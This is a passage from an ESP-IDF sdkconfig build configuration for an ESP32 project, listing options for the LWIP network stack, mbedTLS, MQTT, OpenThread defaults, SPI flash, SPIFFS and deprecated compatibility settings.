CONFIG_LWIP_TCP_RECVMBOX_SIZE=6 1290 | CONFIG_LWIP_TCP_QUEUE_OOSEQ=y 1291 | CONFIG_LWIP_TCP_OOSEQ_TIMEOUT=6 1292 | CONFIG_LWIP_TCP_OOSEQ_MAX_PBUFS=4 1293 | # CONFIG_LWIP_TCP_SACK_OUT is not set 1294 | CONFIG_LWIP_TCP_OVERSIZE_MSS=y 1295 | # CONFIG_LWIP_TCP_OVERSIZE_QUARTER_MSS is not set 1296 | # CONFIG_LWIP_TCP_OVERSIZE_DISABLE is not set 1297 | CONFIG_LWIP_TCP_RTO_TIME=1500 1298 | # end of TCP 1299 | 1300 | # 1301 | # UDP 1302 | # 1303 | CONFIG_LWIP_MAX_UDP_PCBS=16 1304 | CONFIG_LWIP_UDP_RECVMBOX_SIZE=6 1305 | # end of UDP 1306 | 1307 | # 1308 | # Checksums 1309 | # 1310 | # CONFIG_LWIP_CHECKSUM_CHECK_IP is not set 1311 | # CONFIG_LWIP_CHECKSUM_CHECK_UDP is not set 1312 | CONFIG_LWIP_CHECKSUM_CHECK_ICMP=y 1313 | # end of Checksums 1314 | 1315 | CONFIG_LWIP_TCPIP_TASK_STACK_SIZE=3072 1316 | CONFIG_LWIP_TCPIP_TASK_AFFINITY_NO_AFFINITY=y 1317 | # CONFIG_LWIP_TCPIP_TASK_AFFINITY_CPU0 is not set 1318 | # CONFIG_LWIP_TCPIP_TASK_AFFINITY_CPU1 is not set 1319 | CONFIG_LWIP_TCPIP_TASK_AFFINITY=0x7FFFFFFF 1320 | # CONFIG_LWIP_PPP_SUPPORT is not set 1321 | CONFIG_LWIP_IPV6_MEMP_NUM_ND6_QUEUE=3 1322 | CONFIG_LWIP_IPV6_ND6_NUM_NEIGHBORS=5 1323 | # CONFIG_LWIP_SLIP_SUPPORT is not set 1324 | 1325 | # 1326 | # ICMP 1327 | # 1328 | CONFIG_LWIP_ICMP=y 1329 | # CONFIG_LWIP_MULTICAST_PING is not set 1330 | # CONFIG_LWIP_BROADCAST_PING is not set 1331 | # end of ICMP 1332 | 1333 | # 1334 | # LWIP RAW API 1335 | # 1336 | CONFIG_LWIP_MAX_RAW_PCBS=16 1337 | # end of LWIP RAW API 1338 | 1339 | # 1340 | # SNTP 1341 | # 1342 | CONFIG_LWIP_SNTP_MAX_SERVERS=1 1343 | # CONFIG_LWIP_DHCP_GET_NTP_SRV is not set 1344 | CONFIG_LWIP_SNTP_UPDATE_DELAY=3600000 1345 | # end of SNTP 1346 | 1347 | # 1348 | # DNS 1349 | # 1350 | CONFIG_LWIP_DNS_MAX_SERVERS=3 1351 | # CONFIG_LWIP_FALLBACK_DNS_SERVER_SUPPORT is not set 1352 | # end of DNS 1353 | 1354 | CONFIG_LWIP_BRIDGEIF_MAX_PORTS=7 1355 | CONFIG_LWIP_ESP_LWIP_ASSERT=y 1356 | 1357 | # 1358 | # Hooks 1359 | # 1360 | # CONFIG_LWIP_HOOK_TCP_ISN_NONE is not set 1361 | CONFIG_LWIP_HOOK_TCP_ISN_DEFAULT=y 1362 | # CONFIG_LWIP_HOOK_TCP_ISN_CUSTOM is not set 1363 | CONFIG_LWIP_HOOK_IP6_ROUTE_NONE=y 1364 | # CONFIG_LWIP_HOOK_IP6_ROUTE_DEFAULT is not set 1365 | # CONFIG_LWIP_HOOK_IP6_ROUTE_CUSTOM is not set 1366 | CONFIG_LWIP_HOOK_ND6_GET_GW_NONE=y 1367 | # CONFIG_LWIP_HOOK_ND6_GET_GW_DEFAULT is not set 1368 | # CONFIG_LWIP_HOOK_ND6_GET_GW_CUSTOM is not set 1369 | CONFIG_LWIP_HOOK_IP6_SELECT_SRC_ADDR_NONE=y 1370 | # CONFIG_LWIP_HOOK_IP6_SELECT_SRC_ADDR_DEFAULT is not set 1371 | # CONFIG_LWIP_HOOK_IP6_SELECT_SRC_ADDR_CUSTOM is not set 1372 | CONFIG_LWIP_HOOK_NETCONN_EXT_RESOLVE_NONE=y 1373 | # CONFIG_LWIP_HOOK_NETCONN_EXT_RESOLVE_DEFAULT is not set 1374 | # CONFIG_LWIP_HOOK_NETCONN_EXT_RESOLVE_CUSTOM is not set 1375 | CONFIG_LWIP_HOOK_IP6_INPUT_NONE=y 1376 | # CONFIG_LWIP_HOOK_IP6_INPUT_DEFAULT is not set 1377 | # CONFIG_LWIP_HOOK_IP6_INPUT_CUSTOM is not set 1378 | # end of Hooks 1379 | 1380 | # CONFIG_LWIP_DEBUG is not set 1381 | # end of LWIP 1382 | 1383 | # 1384 | # mbedTLS 1385 | # 1386 | CONFIG_MBEDTLS_INTERNAL_MEM_ALLOC=y 1387 | # CONFIG_MBEDTLS_DEFAULT_MEM_ALLOC is not set 1388 | # CONFIG_MBEDTLS_CUSTOM_MEM_ALLOC is not set 1389 | CONFIG_MBEDTLS_ASYMMETRIC_CONTENT_LEN=y 1390 | CONFIG_MBEDTLS_SSL_IN_CONTENT_LEN=16384 1391 | CONFIG_MBEDTLS_SSL_OUT_CONTENT_LEN=4096 1392 | # CONFIG_MBEDTLS_DYNAMIC_BUFFER is not set 1393 | # CONFIG_MBEDTLS_DEBUG is not set 1394 | 1395 | # 1396 | # mbedTLS v3.x related 1397 | # 1398 | # CONFIG_MBEDTLS_SSL_PROTO_TLS1_3 is not set 1399 | # CONFIG_MBEDTLS_SSL_VARIABLE_BUFFER_LENGTH is not set 1400 | # CONFIG_MBEDTLS_X509_TRUSTED_CERT_CALLBACK is not set 1401 | # CONFIG_MBEDTLS_SSL_CONTEXT_SERIALIZATION is not set 1402 | CONFIG_MBEDTLS_SSL_KEEP_PEER_CERTIFICATE=y 1403 | CONFIG_MBEDTLS_PKCS7_C=y 1404 | # end of mbedTLS v3.x related 1405 | 1406 | # 1407 | # Certificate Bundle 1408 | # 1409 | CONFIG_MBEDTLS_CERTIFICATE_BUNDLE=y 1410 | CONFIG_MBEDTLS_CERTIFICATE_BUNDLE_DEFAULT_FULL=y 1411 | # CONFIG_MBEDTLS_CERTIFICATE_BUNDLE_DEFAULT_CMN is not set 1412 | # CONFIG_MBEDTLS_CERTIFICATE_BUNDLE_DEFAULT_NONE is not set 1413 | # CONFIG_MBEDTLS_CUSTOM_CERTIFICATE_BUNDLE is not set 1414 | CONFIG_MBEDTLS_CERTIFICATE_BUNDLE_MAX_CERTS=200 1415 | # end of Certificate Bundle 1416 | 1417 | # CONFIG_MBEDTLS_ECP_RESTARTABLE is not set 1418 | CONFIG_MBEDTLS_CMAC_C=y 1419 | CONFIG_MBEDTLS_HARDWARE_AES=y 1420 | CONFIG_MBEDTLS_HARDWARE_MPI=y 1421 | CONFIG_MBEDTLS_HARDWARE_SHA=y 1422 | CONFIG_MBEDTLS_ROM_MD5=y 1423 | # CONFIG_MBEDTLS_ATCA_HW_ECDSA_SIGN is not set 1424 | # CONFIG_MBEDTLS_ATCA_HW_ECDSA_VERIFY is not set 1425 | CONFIG_MBEDTLS_HAVE_TIME=y 1426 | # CONFIG_MBEDTLS_PLATFORM_TIME_ALT is not set 1427 | # CONFIG_MBEDTLS_HAVE_TIME_DATE is not set 1428 | CONFIG_MBEDTLS_ECDSA_DETERMINISTIC=y 1429 | CONFIG_MBEDTLS_SHA512_C=y 1430 | CONFIG_MBEDTLS_TLS_SERVER_AND_CLIENT=y 1431 | # CONFIG_MBEDTLS_TLS_SERVER_ONLY is not set 1432 | # CONFIG_MBEDTLS_TLS_CLIENT_ONLY is not set 1433 | # CONFIG_MBEDTLS_TLS_DISABLED is not set 1434 | CONFIG_MBEDTLS_TLS_SERVER=y 1435 | CONFIG_MBEDTLS_TLS_CLIENT=y 1436 | CONFIG_MBEDTLS_TLS_ENABLED=y 1437 | 1438 | # 1439 | # TLS Key Exchange Methods 1440 | # 1441 | # CONFIG_MBEDTLS_PSK_MODES is not set 1442 | CONFIG_MBEDTLS_KEY_EXCHANGE_RSA=y 1443 | CONFIG_MBEDTLS_KEY_EXCHANGE_ELLIPTIC_CURVE=y 1444 | CONFIG_MBEDTLS_KEY_EXCHANGE_ECDHE_RSA=y 1445 | CONFIG_MBEDTLS_KEY_EXCHANGE_ECDHE_ECDSA=y 1446 | CONFIG_MBEDTLS_KEY_EXCHANGE_ECDH_ECDSA=y 1447 | CONFIG_MBEDTLS_KEY_EXCHANGE_ECDH_RSA=y 1448 | # end of TLS Key Exchange Methods 1449 | 1450 | CONFIG_MBEDTLS_SSL_RENEGOTIATION=y 1451 | CONFIG_MBEDTLS_SSL_PROTO_TLS1_2=y 1452 | # CONFIG_MBEDTLS_SSL_PROTO_GMTSSL1_1 is not set 1453 | # CONFIG_MBEDTLS_SSL_PROTO_DTLS is not set 1454 | CONFIG_MBEDTLS_SSL_ALPN=y 1455 | CONFIG_MBEDTLS_CLIENT_SSL_SESSION_TICKETS=y 1456 | CONFIG_MBEDTLS_SERVER_SSL_SESSION_TICKETS=y 1457 | 1458 | # 1459 | # Symmetric Ciphers 1460 | # 1461 | CONFIG_MBEDTLS_AES_C=y 1462 | # CONFIG_MBEDTLS_CAMELLIA_C is not set 1463 | # CONFIG_MBEDTLS_DES_C is not set 1464 | # CONFIG_MBEDTLS_BLOWFISH_C is not set 1465 | # CONFIG_MBEDTLS_XTEA_C is not set 1466 | CONFIG_MBEDTLS_CCM_C=y 1467 | CONFIG_MBEDTLS_GCM_C=y 1468 | # CONFIG_MBEDTLS_NIST_KW_C is not set 1469 | # end of Symmetric Ciphers 1470 | 1471 | # CONFIG_MBEDTLS_RIPEMD160_C is not set 1472 | 1473 | # 1474 | # Certificates 1475 | # 1476 | CONFIG_MBEDTLS_PEM_PARSE_C=y 1477 | CONFIG_MBEDTLS_PEM_WRITE_C=y 1478 | CONFIG_MBEDTLS_X509_CRL_PARSE_C=y 1479 | CONFIG_MBEDTLS_X509_CSR_PARSE_C=y 1480 | # end of Certificates 1481 | 1482 | CONFIG_MBEDTLS_ECP_C=y 1483 | # CONFIG_MBEDTLS_DHM_C is not set 1484 | CONFIG_MBEDTLS_ECDH_C=y 1485 | CONFIG_MBEDTLS_ECDSA_C=y 1486 | # CONFIG_MBEDTLS_ECJPAKE_C is not set 1487 | CONFIG_MBEDTLS_ECP_DP_SECP192R1_ENABLED=y 1488 | CONFIG_MBEDTLS_ECP_DP_SECP224R1_ENABLED=y 1489 | CONFIG_MBEDTLS_ECP_DP_SECP256R1_ENABLED=y 1490 | CONFIG_MBEDTLS_ECP_DP_SECP384R1_ENABLED=y 1491 | CONFIG_MBEDTLS_ECP_DP_SECP521R1_ENABLED=y 1492 | CONFIG_MBEDTLS_ECP_DP_SECP192K1_ENABLED=y 1493 | CONFIG_MBEDTLS_ECP_DP_SECP224K1_ENABLED=y 1494 | CONFIG_MBEDTLS_ECP_DP_SECP256K1_ENABLED=y 1495 | CONFIG_MBEDTLS_ECP_DP_BP256R1_ENABLED=y 1496 | CONFIG_MBEDTLS_ECP_DP_BP384R1_ENABLED=y 1497 | CONFIG_MBEDTLS_ECP_DP_BP512R1_ENABLED=y 1498 | CONFIG_MBEDTLS_ECP_DP_CURVE25519_ENABLED=y 1499 | CONFIG_MBEDTLS_ECP_NIST_OPTIM=y 1500 | CONFIG_MBEDTLS_ECP_FIXED_POINT_OPTIM=y 1501 | # CONFIG_MBEDTLS_POLY1305_C is not set 1502 | # CONFIG_MBEDTLS_CHACHA20_C is not set 1503 | # CONFIG_MBEDTLS_HKDF_C is not set 1504 | # CONFIG_MBEDTLS_THREADING_C is not set 1505 | # CONFIG_MBEDTLS_LARGE_KEY_SOFTWARE_MPI is not set 1506 | # end of mbedTLS 1507 | 1508 | # 1509 | # ESP-MQTT Configurations 1510 | # 1511 | CONFIG_MQTT_PROTOCOL_311=y 1512 | # CONFIG_MQTT_PROTOCOL_5 is not set 1513 | CONFIG_MQTT_TRANSPORT_SSL=y 1514 | CONFIG_MQTT_TRANSPORT_WEBSOCKET=y 1515 | CONFIG_MQTT_TRANSPORT_WEBSOCKET_SECURE=y 1516 | # CONFIG_MQTT_MSG_ID_INCREMENTAL is not set 1517 | # CONFIG_MQTT_SKIP_PUBLISH_IF_DISCONNECTED is not set 1518 | # CONFIG_MQTT_REPORT_DELETED_MESSAGES is not set 1519 | # CONFIG_MQTT_USE_CUSTOM_CONFIG is not set 1520 | # CONFIG_MQTT_TASK_CORE_SELECTION_ENABLED is not set 1521 | # CONFIG_MQTT_CUSTOM_OUTBOX is not set 1522 | # end of ESP-MQTT Configurations 1523 | 1524 | # 1525 | # Newlib 1526 | # 1527 | CONFIG_NEWLIB_STDOUT_LINE_ENDING_CRLF=y 1528 | # CONFIG_NEWLIB_STDOUT_LINE_ENDING_LF is not set 1529 | # CONFIG_NEWLIB_STDOUT_LINE_ENDING_CR is not set 1530 | # CONFIG_NEWLIB_STDIN_LINE_ENDING_CRLF is not set 1531 | # CONFIG_NEWLIB_STDIN_LINE_ENDING_LF is not set 1532 | CONFIG_NEWLIB_STDIN_LINE_ENDING_CR=y 1533 | # CONFIG_NEWLIB_NANO_FORMAT is not set 1534 | CONFIG_NEWLIB_TIME_SYSCALL_USE_RTC_HRT=y 1535 | # CONFIG_NEWLIB_TIME_SYSCALL_USE_RTC is not set 1536 | # CONFIG_NEWLIB_TIME_SYSCALL_USE_HRT is not set 1537 | # CONFIG_NEWLIB_TIME_SYSCALL_USE_NONE is not set 1538 | # end of Newlib 1539 | 1540 | # 1541 | # NVS 1542 | # 1543 | # CONFIG_NVS_ASSERT_ERROR_CHECK is not set 1544 | # CONFIG_NVS_LEGACY_DUP_KEYS_COMPATIBILITY is not set 1545 | # end of NVS 1546 | 1547 | # 1548 | # OpenThread 1549 | # 1550 | # CONFIG_OPENTHREAD_ENABLED is not set 1551 | 1552 | # 1553 | # Thread Operational Dataset 1554 | # 1555 | CONFIG_OPENTHREAD_NETWORK_NAME="OpenThread-ESP" 1556 | CONFIG_OPENTHREAD_MESH_LOCAL_PREFIX="fd00:db8:a0:0::/64" 1557 | CONFIG_OPENTHREAD_NETWORK_CHANNEL=15 1558 | CONFIG_OPENTHREAD_NETWORK_PANID=0x1234 1559 | CONFIG_OPENTHREAD_NETWORK_EXTPANID="dead00beef00cafe" 1560 | CONFIG_OPENTHREAD_NETWORK_MASTERKEY="00112233445566778899aabbccddeeff" 1561 | CONFIG_OPENTHREAD_NETWORK_PSKC="104810e2315100afd6bc9215a6bfac53" 1562 | # end of Thread Operational Dataset 1563 | 1564 | CONFIG_OPENTHREAD_XTAL_ACCURACY=130 1565 | # CONFIG_OPENTHREAD_SPINEL_ONLY is not set 1566 | CONFIG_OPENTHREAD_RX_ON_WHEN_IDLE=y 1567 | 1568 | # 1569 | # Thread Address Query Config 1570 | # 1571 | # end of Thread Address Query Config 1572 | # end of OpenThread 1573 | 1574 | # 1575 | # Protocomm 1576 | # 1577 | CONFIG_ESP_PROTOCOMM_SUPPORT_SECURITY_VERSION_0=y 1578 | CONFIG_ESP_PROTOCOMM_SUPPORT_SECURITY_VERSION_1=y 1579 | CONFIG_ESP_PROTOCOMM_SUPPORT_SECURITY_VERSION_2=y 1580 | # end of Protocomm 1581 | 1582 | # 1583 | # PThreads 1584 | # 1585 | CONFIG_PTHREAD_TASK_PRIO_DEFAULT=5 1586 | CONFIG_PTHREAD_TASK_STACK_SIZE_DEFAULT=3072 1587 | CONFIG_PTHREAD_STACK_MIN=768 1588 | CONFIG_PTHREAD_DEFAULT_CORE_NO_AFFINITY=y 1589 | # CONFIG_PTHREAD_DEFAULT_CORE_0 is not set 1590 | # CONFIG_PTHREAD_DEFAULT_CORE_1 is not set 1591 | CONFIG_PTHREAD_TASK_CORE_DEFAULT=-1 1592 | CONFIG_PTHREAD_TASK_NAME_DEFAULT="pthread" 1593 | # end of PThreads 1594 | 1595 | # 1596 | # MMU Config 1597 | # 1598 | CONFIG_MMU_PAGE_SIZE_64KB=y 1599 | CONFIG_MMU_PAGE_MODE="64KB" 1600 | CONFIG_MMU_PAGE_SIZE=0x10000 1601 | # end of MMU Config 1602 | 1603 | # 1604 | # Main Flash configuration 1605 | # 1606 | 1607 | # 1608 | # SPI Flash behavior when brownout 1609 | # 1610 | CONFIG_SPI_FLASH_BROWNOUT_RESET_XMC=y 1611 | CONFIG_SPI_FLASH_BROWNOUT_RESET=y 1612 | # end of SPI Flash behavior when brownout 1613 | 1614 | # 1615 | # Optional and Experimental Features (READ DOCS FIRST) 1616 | # 1617 | 1618 | # 1619 | # Features here require specific hardware (READ DOCS FIRST!) 1620 | # 1621 | # end of Optional and Experimental Features (READ DOCS FIRST) 1622 | # end of Main Flash configuration 1623 | 1624 | # 1625 | # SPI Flash driver 1626 | # 1627 | # CONFIG_SPI_FLASH_VERIFY_WRITE is not set 1628 | # CONFIG_SPI_FLASH_ENABLE_COUNTERS is not set 1629 | CONFIG_SPI_FLASH_ROM_DRIVER_PATCH=y 1630 | CONFIG_SPI_FLASH_DANGEROUS_WRITE_ABORTS=y 1631 | # CONFIG_SPI_FLASH_DANGEROUS_WRITE_FAILS is not set 1632 | # CONFIG_SPI_FLASH_DANGEROUS_WRITE_ALLOWED is not set 1633 | # CONFIG_SPI_FLASH_SHARE_SPI1_BUS is not set 1634 | # CONFIG_SPI_FLASH_BYPASS_BLOCK_ERASE is not set 1635 | CONFIG_SPI_FLASH_YIELD_DURING_ERASE=y 1636 | CONFIG_SPI_FLASH_ERASE_YIELD_DURATION_MS=20 1637 | CONFIG_SPI_FLASH_ERASE_YIELD_TICKS=1 1638 | CONFIG_SPI_FLASH_WRITE_CHUNK_SIZE=8192 1639 | # CONFIG_SPI_FLASH_SIZE_OVERRIDE is not set 1640 | # CONFIG_SPI_FLASH_CHECK_ERASE_TIMEOUT_DISABLED is not set 1641 | # CONFIG_SPI_FLASH_OVERRIDE_CHIP_DRIVER_LIST is not set 1642 | 1643 | # 1644 | # Auto-detect flash chips 1645 | # 1646 | CONFIG_SPI_FLASH_VENDOR_XMC_SUPPORTED=y 1647 | CONFIG_SPI_FLASH_VENDOR_GD_SUPPORTED=y 1648 | CONFIG_SPI_FLASH_VENDOR_ISSI_SUPPORTED=y 1649 | CONFIG_SPI_FLASH_VENDOR_MXIC_SUPPORTED=y 1650 | CONFIG_SPI_FLASH_VENDOR_WINBOND_SUPPORTED=y 1651 | CONFIG_SPI_FLASH_SUPPORT_ISSI_CHIP=y 1652 | CONFIG_SPI_FLASH_SUPPORT_MXIC_CHIP=y 1653 | CONFIG_SPI_FLASH_SUPPORT_GD_CHIP=y 1654 | CONFIG_SPI_FLASH_SUPPORT_WINBOND_CHIP=y 1655 | # CONFIG_SPI_FLASH_SUPPORT_BOYA_CHIP is not set 1656 | # CONFIG_SPI_FLASH_SUPPORT_TH_CHIP is not set 1657 | # end of Auto-detect flash chips 1658 | 1659 | CONFIG_SPI_FLASH_ENABLE_ENCRYPTED_READ_WRITE=y 1660 | # end of SPI Flash driver 1661 | 1662 | # 1663 | # SPIFFS Configuration 1664 | # 1665 | CONFIG_SPIFFS_MAX_PARTITIONS=3 1666 | 1667 | # 1668 | # SPIFFS Cache Configuration 1669 | # 1670 | CONFIG_SPIFFS_CACHE=y 1671 | CONFIG_SPIFFS_CACHE_WR=y 1672 | # CONFIG_SPIFFS_CACHE_STATS is not set 1673 | # end of SPIFFS Cache Configuration 1674 | 1675 | CONFIG_SPIFFS_PAGE_CHECK=y 1676 | CONFIG_SPIFFS_GC_MAX_RUNS=10 1677 | # CONFIG_SPIFFS_GC_STATS is not set 1678 | CONFIG_SPIFFS_PAGE_SIZE=256 1679 | CONFIG_SPIFFS_OBJ_NAME_LEN=32 1680 | # CONFIG_SPIFFS_FOLLOW_SYMLINKS is not set 1681 | CONFIG_SPIFFS_USE_MAGIC=y 1682 | CONFIG_SPIFFS_USE_MAGIC_LENGTH=y 1683 | CONFIG_SPIFFS_META_LENGTH=4 1684 | CONFIG_SPIFFS_USE_MTIME=y 1685 | 1686 | # 1687 | # Debug Configuration 1688 | # 1689 | # CONFIG_SPIFFS_DBG is not set 1690 | # CONFIG_SPIFFS_API_DBG is not set 1691 | # CONFIG_SPIFFS_GC_DBG is not set 1692 | # CONFIG_SPIFFS_CACHE_DBG is not set 1693 | # CONFIG_SPIFFS_CHECK_DBG is not set 1694 | # CONFIG_SPIFFS_TEST_VISUALISATION is not set 1695 | # end of Debug Configuration 1696 | # end of SPIFFS Configuration 1697 | 1698 | # 1699 | # TCP Transport 1700 | # 1701 | 1702 | # 1703 | # Websocket 1704 | # 1705 | CONFIG_WS_TRANSPORT=y 1706 | CONFIG_WS_BUFFER_SIZE=1024 1707 | # CONFIG_WS_DYNAMIC_BUFFER is not set 1708 | # end of Websocket 1709 | # end of TCP Transport 1710 | 1711 | # 1712 | # Ultra Low Power (ULP) Co-processor 1713 | # 1714 | # CONFIG_ULP_COPROC_ENABLED is not set 1715 | # end of Ultra Low Power (ULP) Co-processor 1716 | 1717 | # 1718 | # Unity unit testing library 1719 | # 1720 | CONFIG_UNITY_ENABLE_FLOAT=y 1721 | CONFIG_UNITY_ENABLE_DOUBLE=y 1722 | # CONFIG_UNITY_ENABLE_64BIT is not set 1723 | # CONFIG_UNITY_ENABLE_COLOR is not set 1724 | CONFIG_UNITY_ENABLE_IDF_TEST_RUNNER=y 1725 | # CONFIG_UNITY_ENABLE_FIXTURE is not set 1726 | # CONFIG_UNITY_ENABLE_BACKTRACE_ON_FAIL is not set 1727 | # end of Unity unit testing library 1728 | 1729 | # 1730 | # Virtual file system 1731 | # 1732 | CONFIG_VFS_SUPPORT_IO=y 1733 | CONFIG_VFS_SUPPORT_DIR=y 1734 | CONFIG_VFS_SUPPORT_SELECT=y 1735 | CONFIG_VFS_SUPPRESS_SELECT_DEBUG_OUTPUT=y 1736 | # CONFIG_VFS_SELECT_IN_RAM is not set 1737 | CONFIG_VFS_SUPPORT_TERMIOS=y 1738 | CONFIG_VFS_MAX_COUNT=8 1739 | 1740 | # 1741 | # Host File System I/O (Semihosting) 1742 | # 1743 | CONFIG_VFS_SEMIHOSTFS_MAX_MOUNT_POINTS=1 1744 | # end of Host File System I/O (Semihosting) 1745 | # end of Virtual file system 1746 | 1747 | # 1748 | # Wear Levelling 1749 | # 1750 | # CONFIG_WL_SECTOR_SIZE_512 is not set 1751 | CONFIG_WL_SECTOR_SIZE_4096=y 1752 | CONFIG_WL_SECTOR_SIZE=4096 1753 | # end of Wear Levelling 1754 | 1755 | # 1756 | # Wi-Fi Provisioning Manager 1757 | # 1758 | CONFIG_WIFI_PROV_SCAN_MAX_ENTRIES=16 1759 | CONFIG_WIFI_PROV_AUTOSTOP_TIMEOUT=30 1760 | # CONFIG_WIFI_PROV_BLE_BONDING is not set 1761 | # CONFIG_WIFI_PROV_BLE_FORCE_ENCRYPTION is not set 1762 | # CONFIG_WIFI_PROV_KEEP_BLE_ON_AFTER_PROV is not set 1763 | CONFIG_WIFI_PROV_STA_ALL_CHANNEL_SCAN=y 1764 | # CONFIG_WIFI_PROV_STA_FAST_SCAN is not set 1765 | # end of Wi-Fi Provisioning Manager 1766 | # end of Component config 1767 | 1768 | # CONFIG_IDF_EXPERIMENTAL_FEATURES is not set 1769 | 1770 | # Deprecated options for backward compatibility 1771 | # CONFIG_APP_BUILD_TYPE_ELF_RAM is not set 1772 | # CONFIG_NO_BLOBS is not set 1773 | # CONFIG_ESP32_NO_BLOBS is not set 1774 | # CONFIG_ESP32_COMPATIBLE_PRE_V2_1_BOOTLOADERS is not set 1775 | # CONFIG_ESP32_COMPATIBLE_PRE_V3_1_BOOTLOADERS is not set 1776 | # CONFIG_LOG_BOOTLOADER_LEVEL_NONE is not set 1777 | # CONFIG_LOG_BOOTLOADER_LEVEL_ERROR is not set 1778 | # CONFIG_LOG_BOOTLOADER_LEVEL_WARN is not set 1779 | CONFIG_LOG_BOOTLOADER_LEVEL_INFO=y 1780 | # CONFIG_LOG_BOOTLOADER_LEVEL_DEBUG is not set 1781 | # CONFIG_LOG_BOOTLOADER_LEVEL_VERBOSE is not set 1782 | CONFIG_LOG_BOOTLOADER_LEVEL=3 1783 | # CONFIG_APP_ROLLBACK_ENABLE is not set 1784 | # CONFIG_FLASH_ENCRYPTION_ENABLED is not set 1785 | # CONFIG_FLASHMODE_QIO is not set 1786 | # CONFIG_FLASHMODE_QOUT is not set 1787 | CONFIG_FLASHMODE_DIO=y 1788 | # CONFIG_FLASHMODE_DOUT is not set 1789 | CONFIG_MONITOR_BAUD=115200 1790 | CONFIG_OPTIMIZATION_LEVEL_DEBUG=y 1791 | CONFIG_COMPILER_OPTIMIZATION_LEVEL_DEBUG=y 1792 | CONFIG_COMPILER_OPTIMIZATION_DEFAULT=y 1793 | # CONFIG_OPTIMIZATION_LEVEL_RELEASE is not set 1794 | # CONFIG_COMPILER_OPTIMIZATION_LEVEL_RELEASE is not set 1795 | CONFIG_OPTIMIZATION_ASSERTIONS_ENABLED=y 1796 | # CONFIG_OPTIMIZATION_ASSERTIONS_SILENT is not set 1797 | # CONFIG_OPTIMIZATION_ASSERTIONS_DISABLED is not set 1798 | CONFIG_OPTIMIZATION_ASSERTION_LEVEL=2 1799 | # CONFIG_CXX_EXCEPTIONS is not set 1800 | CONFIG_STACK_CHECK_NONE=y 1801 | # CONFIG_STACK_CHECK_NORM is not set 1802 | # CONFIG_STACK_CHECK_STRONG is not set 1803 | # CONFIG_STACK_CHECK_ALL is not set 1804 | # CONFIG_WARN_WRITE_STRINGS is not set 1805 | # CONFIG_ESP32_APPTRACE_DEST_TRAX is not set 1806 | CONFIG_ESP32_APPTRACE_DEST_NONE=y 1807 | CONFIG_ESP32_APPTRACE_LOCK_ENABLE=y 1808 | # CONFIG_BLUEDROID_ENABLED is not set 1809 | # CONFIG_NIMBLE_ENABLED is not set 1810 | # CONFIG_BTDM_CONTROLLER_MODE_BLE_ONLY is not set 1811 | CONFIG_BTDM_CONTROLLER_MODE_BR_EDR_ONLY=y 1812 | # CONFIG_BTDM_CONTROLLER_MODE_BTDM is not set 1813 | CONFIG_BTDM_CONTROLLER_BR_EDR_MAX_ACL_CONN=2 1814 | CONFIG_BTDM_CONTROLLER_BR_EDR_MAX_SYNC_CONN=0 1815 | CONFIG_BTDM_CONTROLLER_BLE_MAX_CONN_EFF=0 1816 | CONFIG_BTDM_CONTROLLER_BR_EDR_MAX_ACL_CONN_EFF=2 1817 | CONFIG_BTDM_CONTROLLER_BR_EDR_MAX_SYNC_CONN_EFF=0 1818 | CONFIG_BTDM_CONTROLLER_PINNED_TO_CORE=0 1819 | CONFIG_BTDM_CONTROLLER_HCI_MODE_VHCI=y 1820 | # CONFIG_BTDM_CONTROLLER_HCI_MODE_UART_H4 is not set 1821 | CONFIG_BTDM_CONTROLLER_MODEM_SLEEP=y 1822 | CONFIG_ADC2_DISABLE_DAC=y 1823 | # CONFIG_MCPWM_ISR_IN_IRAM is not set 1824 | CONFIG_SW_COEXIST_ENABLE=y 1825 | CONFIG_ESP32_WIFI_SW_COEXIST_ENABLE=y 1826 | CONFIG_ESP_WIFI_SW_COEXIST_ENABLE=y 1827 | # CONFIG_EVENT_LOOP_PROFILING is not set 1828 | CONFIG_POST_EVENTS_FROM_ISR=y 1829 | CONFIG_POST_EVENTS_FROM_IRAM_ISR=y 1830 | # CONFIG_OTA_ALLOW_HTTP is not set 1831 | # CONFIG_TWO_UNIVERSAL_MAC_ADDRESS is not set 1832 | CONFIG_FOUR_UNIVERSAL_MAC_ADDRESS=y 1833 | CONFIG_NUMBER_OF_UNIVERSAL_MAC_ADDRESS=4 1834 | # CONFIG_ESP_SYSTEM_PD_FLASH is not set 1835 | CONFIG_ESP32_DEEP_SLEEP_WAKEUP_DELAY=2000 1836 | CONFIG_ESP_SLEEP_DEEP_SLEEP_WAKEUP_DELAY=2000 1837 | CONFIG_ESP32_RTC_CLK_SRC_INT_RC=y 1838 | CONFIG_ESP32_RTC_CLOCK_SOURCE_INTERNAL_RC=y 1839 | # CONFIG_ESP32_RTC_CLK_SRC_EXT_CRYS is not set 1840 | # CONFIG_ESP32_RTC_CLOCK_SOURCE_EXTERNAL_CRYSTAL is not set 1841 | # CONFIG_ESP32_RTC_CLK_SRC_EXT_OSC is not set 1842 | # CONFIG_ESP32_RTC_CLOCK_SOURCE_EXTERNAL_OSC is not set 1843 | # CONFIG_ESP32_RTC_CLK_SRC_INT_8MD256 is not set 1844 | # CONFIG_ESP32_RTC_CLOCK_SOURCE_INTERNAL_8MD256 is not set 1845 | CONFIG_ESP32_RTC_CLK_CAL_CYCLES=1024 1846 | # CONFIG_ESP32_XTAL_FREQ_26 is not set 1847 | CONFIG_ESP32_XTAL_FREQ_40=y 1848 | # CONFIG_ESP32_XTAL_FREQ_AUTO is not set 1849 | CONFIG_ESP32_XTAL_FREQ=40 1850 | CONFIG_ESP32_PHY_CALIBRATION_AND_DATA_STORAGE=y 1851 | # CONFIG_ESP32_PHY_INIT_DATA_IN_PARTITION is not set 1852 | CONFIG_ESP32_PHY_MAX_WIFI_TX_POWER=20 1853 | CONFIG_ESP32_PHY_MAX_TX_POWER=20 1854 | # CONFIG_REDUCE_PHY_TX_POWER is not set 1855 | # CONFIG_ESP32_REDUCE_PHY_TX_POWER is not set 1856 | # CONFIG_SPIRAM_SUPPORT is not set 1857 | # CONFIG_ESP32_SPIRAM_SUPPORT is not set 1858 | # CONFIG_ESP32_DEFAULT_CPU_FREQ_80 is not set 1859 | CONFIG_ESP32_DEFAULT_CPU_FREQ_160=y 1860 | # CONFIG_ESP32_DEFAULT_CPU_FREQ_240 is not set 1861 | CONFIG_ESP32_DEFAULT_CPU_FREQ_MHZ=160 1862 | CONFIG_TRACEMEM_RESERVE_DRAM=0x0 1863 | # CONFIG_ESP32_PANIC_PRINT_HALT is not set 1864 | CONFIG_ESP32_PANIC_PRINT_REBOOT=y 1865 | # 